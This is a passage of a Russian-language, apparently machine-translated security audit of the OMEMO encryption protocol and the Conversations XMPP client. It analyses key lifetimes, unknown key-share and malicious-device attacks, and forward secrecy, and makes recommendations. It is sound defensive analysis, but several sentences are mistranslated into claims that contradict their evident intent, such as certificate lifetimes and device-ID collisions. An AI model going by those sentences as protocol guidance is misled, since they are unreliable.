Бобу необходимо знать, какой подписанный предварительный ключ и какой одноразовый предварительный ключ использовала Алиса в своих вычислениях, поэтому каждый предварительный ключ имеет свой собственный идентификационный номер. Алиса включает этот номер в PreKeySignalMessage и отправляет Бобу без аутентификации и без шифрования. Эти числа генерируются последовательно.

Key lifetimes

Идентификационный ключ действует бессрочно. Возможно, что Алиса отправит сообщение, используя подписанный предварительный ключ, который уже был обновлен Бобом. По этой причине Боб должен хранить в памяти несколько старых подписанных предварительных ключей, чтобы ему не нужно было отбрасывать эти сообщения. Как долго это должно быть, не указано, но спецификация должна включать, по крайней мере, рекомендации и/или верхнюю границу этого срока службы. Одноразовые предварительные ключи используются только один раз и должны быть удалены сразу после использования. Сервер должен удалить общедоступный одноразовый предварительный ключ сразу после того, как он кому- то передал его, чтобы он больше не использовался. Ключи храповика DH должны быть удалены после того, как другая сторона отправила свой следующий ключ храповика DH и что вычисление DH было завершено.

Used cryptographic primitives

В протоколе до сих пор отсутствует описание того, какие криптографические примитивы используются в качестве строительных блоков протокола. Технически протокол не нужно блокировать, но на данный момент нетривиально изменить используемые шифры в коде OWS. Используются следующие примитивы:

• enc: AES [23] в CBC режиме и использует PKCS5padding

• MAC: HmacSHA256 [14]

• KDF: HKDF [15] using HmacSHA256

• DH: X25519 [1]

• sig: Ed25519 [2]

Стандарт протокола может выиграть от разрешения использования различных примитивов или наборов шифров. Например, когда прорыв в криптографии приводит к поломке примитива, клиенты могут просто отклонить все комплекты, использующие этот примитив, и остаться в безопасности. Или разработчик может захотеть использовать другой набор из-за бизнес-требований или проблем с производительностью. Этот набор шифров должен быть согласован в начале протокола: Боб может загрузить список всех наборов, которые он принимает, в кэш сервера, а Алиса может выбрать один. Чтобы избежать атак перехода на более раннюю версию, полный список и выбранный набор должны быть аутентифицированы в PreKeySignalMessage.

Обратите внимание, что ключ идентификации B используется как для подписи предварительных ключей, так и в вычислении DH, что является безопасным [4] с текущей реализацией Curve25519, но может быть нетривиальным для реализации для других шифров с открытым ключом. Используемая структура encrypt-then-MAC также может быть заменена аутентифицированным шифром/режимом шифрования, если это позволяет использовать дополнительные аутентифицированные данные (AAD).

Metadata

Протокол утечки метаданных о том, кто с кем общается и сколько они общаются. Запрос Алисы на серверный кеш просачивается на сервер, который она хочет начать разговор с Бобом, как и PreKeySignalMessage. Счетчики текстовых сообщений, включенные в каждое сообщение SignalMessage, позволяют отслеживать остальную часть разговора.

В отличие от храповика, используемого в сигнальном протоколе, обычный вариант двойного храповика [24] также шифрует заголовки сообщений, что позволяет избежать отслеживания разговора. Это имело бы смысл реализовать только в том случае, если эта информация не просочилась уже на транспортном уровне.
**
2.1.2. Анализ безопасности**

Более тщательный анализ сигнального протокола был проведен ранее Фрошем, Майнкой, Бадером, Бергсмой, Швенком и Хольцем [6]. В своей работе исследователи предоставляют подробное описание приложения, лежащего в основе протокола и среды, в которой работает приложение. Эта среда включает инфраструктуру Google Cloud Messaging для отправки push-сообщений на устройства.

В своем анализе исследователи не обнаружили серьезных недостатков в сигнальном протоколе. Они предоставляют доказательства безопасности для строительных блоков, составляющих сигнальный протокол: первоначальный обмен ключами, последующее получение ключей и аутентифицированное шифрование. Кроме того, они выявляют незначительную слабость в аутентификации ключей идентификации пользователей, называемую атакой с использованием неизвестного ключа, и комментируют заявленные дополнительные функции безопасности (будущая секретность, прямая секретность и отрицание).

Unknown key-share attack

При неизвестной атаке с совместным использованием ключей Ева загружает материал открытого ключа Боба и выгружает ключи, как если бы они были ее собственными. Когда Алиса хочет начать разговор с Евой, она проверяет, совпадает ли идентификационный ключ, который она загрузила с сервера, с тем, который Ева представляет ей во внеполосном режиме. Алиса завершает рукопожатие на своей стороне и отправляет сюда начальные сообщения. Ева пересылает эти (все еще зашифрованные) сообщения Бобу.[6]

Результатом успешной атаки является то, что Алиса ошибочно полагает, что она отправила свои сообщения Еве, в то время как Боб ошибочно полагает, что полученные сообщения были предназначены для него. Ева не может нарушить конфиденциальность или целостность сообщений, поэтому влияние этой атаки относительно невелико.

Основная причина вышеупомянутой атаки состоит в том, что Еве никогда не нужно было доказывать Алисе, что она владеет закрытым ключом, соответствующим представленному открытому ключу идентичности. Исследователи предлагают решение, при котором пользователи участвуют во внеполосной интерактивной проверке с нулевым разглашением по аутентифицированному каналу, например, обмениваются сообщениями с QR-кодами. Поскольку это решение основано на интерактивном протоколе, оно отключит отправку сообщений пользователями немедленно, если получатель не в сети в этот момент.

Future secrecy

Будущая секретность гарантирует, что ключевой компромисс в какой-то момент времени не будет распространяться бесконечно. Протокол Signal достигает этого, вводя новую случайность с каждым ответом для пересылки корневого храповика. Компрометация ключа пассивным злоумышленником не будет распространяться с этого момента. Однако активный злоумышленник, который скомпрометировал и корневой ключ, и ключ идентификации, может организовать атаку человека по середине, которая может длиться бесконечно.

Forward secrecy

Прямая секретность гарантирует, что при взломе устройства никакие прошлые сообщения не могут быть расшифрованы. Это достигается за счет скорейшего стирания ключей шифрования/дешифрования сообщений. Одна из проблем с протоколом Signal заключается в том, что частные предварительные ключи Боба должны оставаться на устройстве до тех пор, пока не будет получено сообщение, зашифрованное с помощью соответствующего общедоступного предварительного ключа. Если Еве удастся перехватить и заблокировать это сообщение от доставки, Боб продолжит удерживать этот закрытый предварительный ключ, чтобы Ева могла прочитать содержимое сообщения, если она сможет извлечь личные предварительные ключи Боба с его устройства. Но для любого сообщения, которое доставляется и расшифровывается правильно, Боб отбрасывает закрытую часть предварительного ключа и обеспечивает прямую секретность.

Версия 2 сигнального протокола также была уязвима для атаки на прямую секретность первого сообщения со стороны активного злоумышленника. Ева могла предоставить свой собственный предварительный ключ (из которого она знала соответствующий закрытый ключ) и предоставить его Алисе, притворившись, что это предварительный ключ Боба вместе с ключом личности Боба. Боб не сможет расшифровать сообщение, но Ева сможет, если она сможет взломать только личный ключ идентификации Боба. Версия 3 устраняет эту уязвимость, добавляя предварительный ключ, который подписан ключом идентификации. Эта подпись гарантирует, что Ева не сможет предоставить свой собственный предварительный ключ и притвориться, что он принадлежит Бобу, таким образом предотвращая атаку.

Deniability

Отрицание для приложения обмена сообщениями может происходить на двух уровнях: отказ от содержания сообщения и отказ от полного разговора. Исследователи доказывают, что сигнальный протокол достигает первого, но они утверждают, что последнее может быть только теоретическим. Поскольку клиенты аутентифицируются на сервере Open Whisper Systems (аналогично тому, как клиент XMPP аутентифицируется на сервере XMPP), и этому серверу необходимо знать адреса отправителя и получателя, чтобы гарантировать доставку, журналы, которые могут храниться на сервере может показать, что разговор имел место.

Тот факт, что разговор, может просочиться, но через другой уровень, чем прикладной уровень основного протокола передачи сигналов. Решение проблемы утечки метаданных также должно содержаться на соответствующем уровне и не входить в спецификацию OMEMO.

2.2. OMEMO

OMEMO использует Signal для настройки сеанса. В Разделе 2.2.1 я покажу, как OMEMO использует эти сеансы Signal для установки безопасного разговора между несколькими устройствами. В Разделе 2.2.2 я проанализирую криптографическую стойкость проекта и опишу незначительные проблемы, обнаруженные мной в спецификации. Две основные проблемы описаны в отдельных разделах: Раздел 2.2.3 объясняет, как вредоносное устройство может поставить под угрозу весь диалог, а Раздел 2.2.4 показывает, как другие устройства могут повлиять на прямую и будущую секретность.

2.2.1. Описание протокола

На очень высоком уровне OMEMO работает аналогично тому, как работают групповые сообщения Signal [19], но с несколькими устройствами вместо нескольких пользователей. Между каждым устройством устанавливается сеанс. Сообщения шифруются и аутентифицируются с помощью случайного ключа, и шифрование этого ключа отправляется как содержимое сообщения SignalMessage.

Полный обзор OMEMO приведен в примерах использования раздела 4 ProtoXEP, но здесь я дам краткое описание. Типичная настройка XMPP показана на рисунке 2. Алиса зарегистрирована на другом сервере как Боб. Алиса зарегистрировала два устройства с поддержкой OMEMO, а Боб зарегистрировал только свой телефон и хочет также зарегистрировать свой ноутбук.

Чтобы зарегистрировать свой лэптоп, Боб генерирует случайный 31-битный идентификатор устройства и регистрирует его, добавляя его в свой список устройств на сервере через PEP. Затем он генерирует случайный идентификационный ключ B, подписанный предварительный ключ b0 с соответствующей подписью sig (b0) и 100 одноразовых предварительных ключей bx. Затем он загружает это в пакете OMEMO, снова через PEP. Этот пакет содержит ту же информацию, которую Боб кэширует на сервере в обычном Signal.

Предположим, Алиса хочет отправить со своего телефона зашифрованное сообщение OMEMO. Она может определить, что устройства Боба поддерживают OMEMO, запросив его список устройств с помощью PEP. Если он это делает, она шифрует и аутентифицирует свое сообщение, используя случайно сгенерированный ключ. Для каждого устройства, на которое Алиса хочет отправить зашифрованное сообщение, она извлекает весь пакет через PEP. Если она хочет добавить в беседу больше своих собственных устройств, она также получает их пакеты со своего собственного сервера. Алиса создает PreKeySignalMessage для каждого устройства, выбирая случайный одноразовый предварительный ключ из каждого пакета и шифруя случайно сгенерированный ключ для каждого устройства. Она объединяет всю информацию в одном элементе MessageElement: зашифрованную полезную нагрузку (), открытый текст iv (), идентификатор отправителя (sid) и зашифрованный случайный ключ (), помеченный соответствующими идентификатор получателя (rid).

3.png

Устройство Боба может расшифровать сообщение, выбрав правильный элемент на основе атрибута rid и используя его для инициализации сеанса Signal на своей стороне.

На этом этапе телефон Алисы установил сеанс Signal с каждым из устройств. Если Боб хочет ответить, ему все равно нужно инициализировать сеанс с ПК Алисы, поэтому ему также необходимо загрузить все пакеты и инициализировать сеансы Signal, отправив PreKeySignalMessage, где это необходимо. Если все устройства (кроме одного) отправили сообщение, для каждого устройства будет настроен парный сеанс Signal.

Device synchronization

Механизм регулярной доставки XMPP был построен для отправки сообщения только одному пользователю и для отправки его только на онлайн-устройства. Сообщения Carbons [13] используются для доставки сообщений на несколько устройств для каждого пользователя, а Управление архивом сообщений (MAM) [21] используется для обеспечения доставки на устройства, которые в настоящее время работают. Это обеспечивает синхронизацию истории между клиентами, если в разговоре не участвует вредоносное устройство.[7]

MAM был разработан как архив сообщений, но вместо этого он используется здесь как кэш сообщений. Сообщения с зашифрованным текстом будут оставаться в сети после их загрузки, даже если ключи будут отброшены при шифровании. Это не влияет на безопасность, но тратит впустую место на сервере. Клиент должен удалить сообщение с сервера после его расшифровки и удаления ключей сообщения.

KeyTransportElement

Вместо отправки MessageElement устройство также может отправлять сообщение без полезной нагрузки, называемое KeyTransportElement. Случайно сгенерированный ключ может использоваться, например, для шифрования файла, см. Раздел 2.3.

Prekey collision

Когда Алиса хочет создать PreKeySignalMessage для Боба, она получает полный пакет и случайным образом выбирает один из его предварительных ключей. Когда Боб получает несколько сообщений PreKeySignalMessages, предварительные ключи могут конфликтовать. Ожидается, что из-за проблемы с днем рождения часто будут возникать коллизии. При 100 предварительных ключах коллизия ожидается после 12.3 PreKeySignalMessages, а для предлагаемых минимум 20 ключей коллизия ожидается после приблизительно 5.86 PreKeySignalMessages.

Когда Боб получает PreKeySignalMessages с предварительными конфликтами ключей, он отвечает Алисе KeyTransportElement, содержащим его собственное PreKeySignalMessage, чтобы можно было инициировать новый сеанс. Если у Боба больше нет соответствующего частного предварительного ключа, он молча отбрасывает сообщение.

При получении сообщения PreKeySignalMessage с помощью MAM Боб должен хранить частный предварительный ключ в памяти (но он также может удалить их) до тех пор, пока все сообщения MAM не будут загружены, чтобы он все еще мог расшифровать сообщения. Он может расшифровать, но он все равно должен установить новый сеанс с Алисой. Спецификация предупреждает об атаке на небольшую подгруппу [22], которая применяется при повторном использовании одноразовых ключей. Однако эта атака не применима к X25519 [3]. Разработчики должны убедиться, что предварительные ключи также отбрасываются, если работа MAM не завершается успешно (например, когда устройство выходит из строя), или прямая секретность сообщения будет скомпрометирована.

Более элегантным решением было бы сделать то же, что и OWS: позволить серверу послать каждый одноразовый предварительный ключ один раз и затем удалить его, вместо того, чтобы доставлять весь список предварительных ключей. Таким образом, на предварительных ключах не может произойти никаких конфликтов, и будет отброшено меньшее количество начальных сообщений. Когда на сервере заканчиваются одноразовые предварительные ключи, сервер сообщает Алисе об этом, и она может завершить PreKeySignalMessage без одноразового ключа, как и приложение Signal.

Неясно, возможно ли это решение реализовать в XMPP, поскольку кажется, что в настоящее время нет расширения XMPP, которое позволяет серверу удалять / отмечать узлы PEP, пока пользователь отключен.

Device ID

Ресурсная часть адреса XMPP [27] не используется, вместо этого используется отдельный идентификатор устройства. Это связано с тем, что ресурсная часть может измениться во время сеанса OMEMO, и в этом случае устройство больше не сможет определять правильный ключ в заголовке. При текущей настройке идентификатор устройства должен быть уникальным среди всех идентификаторов устройств, участвующих в разговоре, чтобы они могли конфликтовать с любым другим используемым устройством. Использование 31 случайного бита для идентификатора устройства может быть достаточно, чтобы избежать коллизий в большинстве случаев, но если вместо этого использовался полный адрес XMPP, пользователь может гарантировать отсутствие коллизий, поскольку ему нужно только позаботиться о том, чтобы не столкнуться с самим собой.

Идентификаторы конфликтующих устройств не влияют на безопасность протокола: в худшем случае конфликтующие устройства не могут участвовать в разговоре, что влияет только на удобство использования.

2.2.2. Анализ безопасности

Парный сеанс Signal в OMEMO очень похож на сеанс в приложении Signal, поэтому их свойства безопасности аналогичны. Модель сервера для XMPP немного отличается от модели OWS, но поскольку протокол не полагается на доверие к серверу, это не должно влиять на безопасность сеансов Signal. Способ объединения нескольких сеансов Signal для создания сеанса OMEMO с несколькими устройствами влияет на свойства безопасности всего протокола, поэтому я проанализирую это в этом разделе.

Signed prekey lifetime

OMEMO не указывает, когда необходимо обновить подписанный предварительный ключ на сервере. Когда этот ключ не обновляется, прямая секретность PreKeySignalMessage не защищена от активного злоумышленника (см. Раздел 2.1.2). Устройство должно регулярно отправлять новый ключ на сервер, а старые подписанные предварительные ключи должны быть удалены с устройства через некоторое время.

Cryptographic primitives

OMEMO добавляет только один криптографический примитив: аутентифицированное шифрование полезной нагрузки, которое фиксируется в AES в режиме GCM. Нет причин устанавливать шифр для OMEMO, можно использовать любую форму шифрования с аутентификацией. Неаутентифицированный шифр шифрования также может использоваться, когда аутентификация полезной нагрузки включена в тег SignalMessage, как описано в Разделе 2.2.3.

В спецификации должны быть предусмотрены альтернативные шифры по той же причине, что и в сигнальном протоколе. Предпочтительно, согласование этого шифра должно быть объединено с согласованием набора сигнальных шифров, чтобы клиентам нужно было согласовать это только один раз в начале разговора. К сожалению, Signal не стандартизирован, и, вероятно, было бы неразумно указывать в стандарте OMEMO, как Signal должен согласовывать свои примитивы.

Metadata

Метаданные связи уже просачиваются через протокол Signal и, вероятно, также через транспортный уровень XMPP, но OMEMO также пропускает эту информацию через идентификаторы устройств в виде открытого текста. Полезная нагрузка зашифрована в режиме GCM, поэтому размер открытого текста также теряется.

2.2.3. Вредоносное устройство

Нельзя ожидать, что сообщения останутся конфиденциальными, если одно из участвующих устройств является вредоносным. Однако пользователь может заподозрить хотя бы то, что целостность сообщений, отправленных честным устройством, гарантируется протоколом. В конце концов, безопасный сеанс Signal с этим честным устройством был настроен. Однако сеанс Signal защищает только случайный ключ. Злонамеренное устройство имеет доступ к этому ключу и, таким образом, может повторно зашифровать и повторно аутентифицировать любую полезную нагрузку с помощью этого ключа, при этом принимающая сторона не сможет ее обнаружить. Это показано на рисунке 3.

Отображаемая атака показывает атаку только в одном направлении: Ева может изменять и читать все, что посылает Алиса. Еве нужно применить ту же атаку к Бобу, чтобы настроить MITM. Обратите внимание, что Еве необходимо удалить свой собственный элемент из списка ключей в каждом сообщении, чтобы Боб не заметил ее.

Screenshot_3.png

Два осторожных пользователя не будут подвержены этой атаке, потому что ни один из них никогда не примет непроверенный ключ. Однако независимо от того, насколько тщательно Боб проверяет идентификационный ключ отправляющего устройства, он должен предположить, что Алиса никогда не совершала ошибок и ни одно из устройств не было взломано, чтобы гарантировать подлинность сообщений, исходящих от любого из ее устройств. Это доверие к другой стороне не требуется, если сообщения были аутентифицированы внутри сеанса Signal. Кроме того, Боб мог снизить вероятность того, что Алиса примет вредоносное устройство, создав криптографическую связь между устройствами.

Message authentication

Сообщения аутентифицируются случайным ключом, который защищает целостность сообщения от посторонних. Однако любой, у кого есть доступ к ключу, может изменить сообщение, включая вредоносное устройство. Есть несколько возможных решений, каждое из которых имеет свои преимущества и недостатки.

Возможным решением может быть аутентификация внутри сеанса Signal. Путем аутентификации полезной нагрузки с помощью тега SignalMessage полное сообщение аутентифицируется таким образом, что никакое другое устройство не может нарушить целостность. Зашифрованный текст (а не открытый текст) сообщения полезной нагрузки должен быть аутентифицирован, чтобы был применен шаблон "MAC-затем-шифрование". Это решение увеличивает вычислительную нагрузку на стороне отправителя, потому что полезные данные необходимо аутентифицировать более одного раза. Когда зашифрованный текст добавляется в качестве аутентифицированных дополнительных данных (AAD) сообщения Signal, это немного уменьшит размер сообщения, поскольку в полезной нагрузке не требуется тег аутентификации. Затем метод шифрования полезной нагрузки следует упростить до режима блочного шифрования без аутентификации. Это также потребует некоторых изменений в библиотеке Signal, поскольку текущая реализация не позволяет пользователю библиотеки добавлять свой собственный AAD.

Полезная нагрузка также может быть аутентифицирована путем включения хэша зашифрованного текста полезной нагрузки в открытый текст SignalMessage (и, следовательно, соответствующего зашифрованного хэша в зашифрованном тексте SignalMessage). Это не потребует изменений в библиотеке Signal, но увеличит размер каждого элемента . Это решение менее элегантно, чем предыдущее, поскольку хэш зашифрованного текста полезной нагрузки отправляется зашифрованным, даже если получатель может вычислить это значение самостоятельно.

Путем аутентификации списка всех идентификаторов устройств получателя в теге SignalMessage Боб получает гарантию того, на какие устройства Алиса отправила сообщение. Клиент Боба может выдать ему предупреждение, если в этом списке есть ненадежные устройства. Это защищает его от конкретной атаки, описанной выше, но протокол остается уязвимым, если одно из устройств будет скомпрометировано другой атакой. Это решение может быть объединено с вышеупомянутым решением аутентификации зашифрованного текста полезной нагрузки с помощью зашифрованного текста или тега SignalMessage.

Device linkage

Между удостоверениями и ключами устройств нет криптографической связи. Другими словами, Ева может прикрепить свой собственный ключ идентификации устройства, как будто это ресурс, принадлежащий Бобу, и обмануть Алису, чтобы она добавила его.

Есть решение: каждое устройство может подписывать сертификат на каждом идентификационном ключе устройства одного и того же пользователя. Хотя Ева может обмануть Алису, заставив ее думать, что у Боба есть другое устройство, маловероятно, что Боб обманут, приняв другое устройство как свое собственное. Ключи идентификации устройства с сертификатами, подписанными уже принятым устройством того же пользователя, могут быть приняты автоматически.

Чтобы учесть взломанные устройства, пользователи должны иметь возможность отзывать сертификаты, а сертификаты должны иметь неограниченный срок службы. Это решение может быть расширено до полноценной инфраструктуры открытого ключа (PKI) или сети доверия, но я рекомендую не включать это в спецификацию OMEMO (хотя совместимость с такими системами может быть учтена при обновлении OMEMO спецификации).

2.2.4. Будущая секретность

На прямую секретность и будущую секретность протокола могут неожиданно повлиять, когда у пользователя есть устройства только для чтения или неактивные устройства.

Read-only devices

Устройства только для чтения будут пересылать свой ключ цепочки Signal, но никогда не будет отправлено никаких сообщений с этих устройств, поэтому корневой ключ сигнала никогда не будет перемещен вперед. Такое устройство ставит под угрозу будущую секретность всего разговора: если полученный ключ цепочки такого устройства будет скомпрометирован, остальная часть разговора с этого момента будет скомпрометирована.

Решение простое: устройство только для чтения должно регулярно отправлять KeyTransportElement, чтобы пересылать храповик. Интервал для этого сообщения может быть основан на количестве полученных сообщений, времени или их комбинации.

Inactive devices

Устройства, которые больше не используются и больше не подключаются к сети, должны быть исключены из разговора: они хранят в своей памяти копию очень старого ключа цепочки, что ставит под угрозу прямую секретность всего разговора. В настоящее время не определен способ удаления ключей из разговора, кроме простого их удаления.

Устройство может интерпретировать приведенное выше сообщение для устройств только для чтения как подтвержденное контрольное сообщение. Если устройство не получало контрольный сигнал слишком долго, оно может принять решение об отключении устройства от разговора.

2.3. Передача зашифрованного джингла-файла OMEMO

OMEMO Encrypted Jingle File Transfer определен в его ProtoXEP [11]. Он использует Jingle File transfer [25] для отправки данных другому пользователю.
KeyTransportElement включен в описание файла Jingle, и содержимое файла может быть отправлено отдельно, зашифрованное случайным ключом, который был отправлен в KeyTransportElement.

С криптографической точки зрения нет никакой разницы между отправкой текстового сообщения OMEMO и отправкой зашифрованного OMEMO файла Jingle, даже если этот файл пересылается по другому каналу. Единственное отличие состоит в том, что Jingle позволяет отправлять некоторые метаданные файлов. Эти метаданные не зашифрованы и не аутентифицированы. В спецификации также не предусмотрен метод шифрования метаданных.

Message authentication

Как обычное сообщение не аутентифицируется в присутствии вредоносного устройства (см. Раздел 2.2.3), так и содержимое файла не аутентифицируется, когда присутствует вредоносное устройство.

Предложенное ранее решение для аутентификации полезной нагрузки (аутентификация зашифрованного текста в теге SignalMessage) отключало бы шифрование "на лету" при отправке файла, потому что шифротекст полезной нагрузки должен быть известен при построении

. Если потеря возможности выполнять шифрование на лету допустима, следует отдать предпочтение этому решению. В противном случае простой проверки подлинности списка всех устройств-получателей должно быть достаточно для защиты от описанной атаки.

Metadata

Даже если метаданные не защищены спецификацией, они не должны пропускать какую-либо информацию о содержимом необработанного файла. Протокол Jingle требует хеширования файла. Спецификация передачи файлов OMEMO верна в том, что требует, чтобы этот хеш принадлежал зашифрованному тексту файла: хеш открытого текста привел бы к уязвимости "подтверждения данных" [31].

Все остальные метаданные можно просто удалить из , чтобы минимизировать утечку метаданных, поскольку они считаются необязательными для Jingle. Однако элементы "размер" и "диапазон" могут быть включены, поскольку они уже утекли из длины зашифрованного текста и метода передачи.
**
3. Проверка кода**

Conversations - это клиент XMPP с открытым исходным кодом [8] для Android. В этом разделе я буду использовать их опубликованный код в качестве эталонной реализации OMEMO ProtoXEP. Я проверил реализацию в поисках ошибок, которые каким-либо образом ставят под угрозу безопасность сеанса OMEMO. Цель обзора кода двоякая: пытается найти слабые места в безопасности и нужно выявить, существуют ли несоответствия между спецификацией и ее реализацией. В оставшейся части этого занятия я поделюсь своими выводами.

Код Conversations просто использует библиотеку Signal от OWS. Генерация ключей Signal, шифрование элементов и управление соответствующими сеансами сигналов осуществляется библиотекой Signal. Самая большая проблема с этим подходом заключалась в том, что библиотека Signal принимала сообщения без одноразовых предварительных ключей, чего OMEMO никогда не должна делать (поскольку на сервере никогда не "закончатся" одноразовые предварительные ключи). [9] В сочетании с тем фактом, что подписанные предварительные ключи никогда не удаляются/не обновляются, это означает, что для PreKeySignalMessages не было прямой секретности.

Генерация ключей для ключей Signal (идентификационный ключ, предварительные ключи и эфемерные ключи) обрабатывается библиотекой сигналов. Случайный ключ для полезной нагрузки OMEMO генерируется классом javax.crypto.KeyGenerator, экземпляр которого создается для 128-битного AES, а 128-битная полезная нагрузка IV генерируется java.security.SecureRandom.

Приложение Conversations не сохраняет предварительные ключи в памяти во время MAM. Вместо этого приложение использует библиотеку Signal, которая всегда удаляет ключи из хранилища после расшифровки PreKeySignalMessage.

HTTP file upload

Вместо использования OMEMO зашифрованной передачи файлов Jingle в качестве метода передачи файлов по умолчанию, приложение отдает предпочтение загрузке по протоколу HTTP [12]. Эта установка добавляет еще один уровень косвенности: файл зашифрован с использованием AES в режиме GCM, с использованием случайного 128-битного ключа и 64-битного IV, которые генерируются классом java.security.SecureRandom. Затем файл загружается, и отправитель получает URL-адрес. Используемый ключ и IV добавляются к URL-адресу как идентификатор фрагмента. В этом случае полный URL-адрес считается полезной нагрузкой OMEMO MessageElement. Это не обязательно неправильно (HTTP-клиент не должен отправлять идентификатор фрагмента на сервер в HTTP-запросе), но это не чистое решение, и существует значительная вероятность, что какой-то другой клиент ошибется. Кроме того, дополнительный уровень косвенного обращения страдает от той же проблемы, когда присутствует вредоносное устройство: он не предлагает аутентификации содержимого файла. Чтобы исправить это, и полезная нагрузка OMEMO, и файл должны быть аутентифицированы внутри сеанса Signal.

X509 certificates

Код разрешает сертификаты X509 для ключей идентификации, хотя в настоящее время по умолчанию это отключено. Я не вдавался в подробности, поскольку это выходит за рамки спецификации OMEMO, но, похоже, в этом подходе нет ничего плохого.

Purge

Приложение разговоров позволяет пользователям очищать ключи других устройств, что означает, что оно необратимо помечает ключ как скомпрометированный. Эта необратимость не гарантируется и обеспечивается только тем фактом, что в приложении нет пользовательского интерфейса для реверсинга. У пользователей нет способа очистить свои собственные ключи или иным образом пометить их как взломанные.

Group messages

Приложение Conversations позволяет проводить групповые беседы, хотя ProtoXEP не определяет это. С криптографической точки зрения эти многопользовательские чаты ничем не отличаются от чата с несколькими устройствами: чтобы отправить сообщение всем пользователям, отправляющее устройство должно будет настроить сеанс Signal с каждым из участвующих устройств, независимо от пользователя к которому принадлежит устройство.

4. Выводы/рекомендации.

Стандарт OMEMO предоставляет протокол для безопасной связи с несколькими устройствами. Этот протокол является безопасным только в том случае, если оба пользователя применяют хорошую операционную безопасность при защите своих устройств и при добавлении устройств другой стороны.

Когда оба пользователя будут осторожны, они могут настроить безопасный сеанс с несколькими устройствами. Однако, если один из пользователей допустит ошибку и добавит вредоносное устройство, или если только одно устройство пользователей будет скомпрометировано, аутентификация всех сообщений будет скомпрометирована, что не является необходимым. Полезные данные (зашифрованный текст) должны быть аутентифицированы в каждом сообщении SignalMessage, предпочтительно как AAD.

Текущая спецификация OMEMO не предусматривает связи между устройствами, принадлежащими одному пользователю. Ева может обмануть Алису, думая, что ее ключ принадлежит Бобу. Боб должен иметь возможность подписать сертификат, который сообщает Алисе, какие устройства принадлежат ему, Ева не сможет так легко обмануть ее.

Каждое устройство должно регулярно посылать сообщение (контрольное сообщение), чтобы пересылать корень храповика сеансов Signal, чтобы можно было гарантировать будущую секретность. Уже существующий KeyTransportElement можно использовать как пустое сообщение, которое реализует эту функцию.

Неактивные устройства, устройства, которые больше не подключаются к сети, должны быть удалены из разговора пользователем-владельцем. Их присутствие в разговоре означает, что прямая секретность всего разговора скомпрометирована, потому что они держатся за старый ключ. Кроме того, я рекомендую, чтобы неактивные устройства могли быть удалены другим пользователем. Вышеописанный контрольный сигнал предоставит пользователям метод определения того, стало ли устройство неактивным.

Время жизни (подписанных) предварительных ключей должно быть указано в стандарте. Подписанные предварительные ключи следует регулярно менять для обеспечения прямой секретности. Это должно выполняться по крайней мере каждый раз, когда пользователь получает PreKeySignalMessage, который использует последний подписанный предварительный ключ, но это можно делать чаще (в зависимости от времени), чтобы обеспечить прямую секретность отброшенных сообщений.

Стандарт должен допускать альтернативные шифры. Однако стандарт должен ограничиваться шифрами, используемыми в шифровании OMEMO. В Signal также нет способа указать шифры, но это не входит в область применения стандарта OMEMO.

Конфликты ключей могут быть значительно уменьшены, если сервер передает каждый ключ только один раз, а не все ключи каждому пользователю, который запрашивает. Это не повлияет на безопасность, но сделает успешную доставку первого сообщения протокола более надежной.

В спецификации следует обновить свою терминологию, чтобы отразить недавние изменения названия, внесенные Open Whisper Systems. В частности, термин Axolot» следует заменить на Signal Protocol, а имена сообщений PreKeyWhisperMessage и WhisperMessage следует заменить на PreKeySignalMessage и SignalMessage.

Мое последнее замечание касается эталонной реализации. Если не внесены изменения в способ предоставления ключей серверами, код не должен принимать сообщения PreKeySignalMessages без одноразового предварительного ключа. Как было сказано ранее, это уже было исправлено в commit cc209af.

Благодарность

Я хотел бы поблагодарить Даниэля Гульча за помощь с некоторыми вопросами, которые у меня возникли по протоколу, и за его быструю обработку моих отзывов в коде разговоров.

Используемая литература

[1] Daniel J. Bernstein. Public Key Cryptography - PKC 2006: 9th International Conference on Theory and Practice in Public-Key Cryptography, New York, NY, USA, April 24-
26, 2006. Proceedings, chapter Curve25519: New Diffie-Hellman Speed Records, pages 207–228. Springer Berlin Heidelberg, Berlin, Heidelberg, 2006. https://cr.yp.to/papers. html#curve25519.
[2] Daniel J. Bernstein, Niels Duif, Tanja Lange, Peter Schwabe, and Bo-Yin Yang. High-speed high-security signatures. Journal of Cryptographic Engineering, 2(2):77–89, 2012. https://ed25519.cr.yp.to/.
[3] Daniel J. Bernstein and Tanja Lange. SafeCurves: choosing safe curves for elliptic-curve cryptography. http://safecurves.cr.yp.to. Accessed: 2015-05-04.
[4] Jean Paul Degabriele, Anja Lehmann, Kenneth G. Paterson, Nigel P. Smart, and Mario Strefler. On the joint security of encryption and signature in emv. Cryptology ePrint Archive, Report 2011/615, 2011. https://eprint.iacr.org/2011/615.
[5] Danny Dolev and Andrew C. Yao. On the security of public key protocols. Information Theory, IEEE Transactions on, 29(2):198–208, March 1983.
[6] Tilman Frosch, Christian Mainka, Christoph Bader, Florian Bergsma, Jrg Schwenk, and Thorsten Holz. How Secure is TextSecure? Cryptology ePrint Archive, Report
2014/904, November 2014. http://eprint.iacr.org/2014/904.
[7] Daniel Gultsch. Conversations. https://github.com/siacs/Conversations. Accessed: 2016-04-07.
[8] Daniel Gultsch. Conversations is an open source XMPP/Jabber client for Android 4.0+ smart phones. https://github.com/siacs/Conversations. Accessed: 2016-05-10.
[9] Daniel Gultsch. Conversations: the very last word in instant messaging. https://conversations.im/. Accessed: 2016-04-07.
[10] Daniel Gultsch. OMEMO Multi-End Message and Object Encryption. https://conversations.im/omemo/. Accessed: 2016-04-07.
[11] Daniel Gultsch. XEP-xxxx: OMEMO Encrypted Jingle File Transfer. ProtoXEP, XMPP Standards Foundation, September 2015. https://xmpp.org/extensions/inbox/
omemo-filetransfer.html. 21/24 Chamber of Commerce 60628081 Public
[12] Daniel Gultsch. XEP-0363: HTTP File Upload. Standards Track, XMPP StandardsFoundation, March 2016. https://xmpp.org/extensions/xep-0263.html.
[13] Joe Hildebrand and Matthew Miller. XEP-0280: Message Carbons. Standards Track, XMPP Standards Foundation, February 2016. https://xmpp.org/extensions/xep-0280.html.
[14] Hugo Krawczyk, Mihir Bellare, and Ran Canetti. HMAC: Keyed-Hashing for Message Authentication. RFC 2104, RFC Editor, February 1997. <https://www.rfc- editor.org/>
rfc/rfc2104.txt.
[15] Hugo Krawczyk and Pasi Eronen. HMAC-based Extract-and-Expand Key Derivation Function (HKDF). RFC 5869, RFC Editor, May 2010. <https://www.rfc- editor.org/rfc/>
rfc5869.txt.
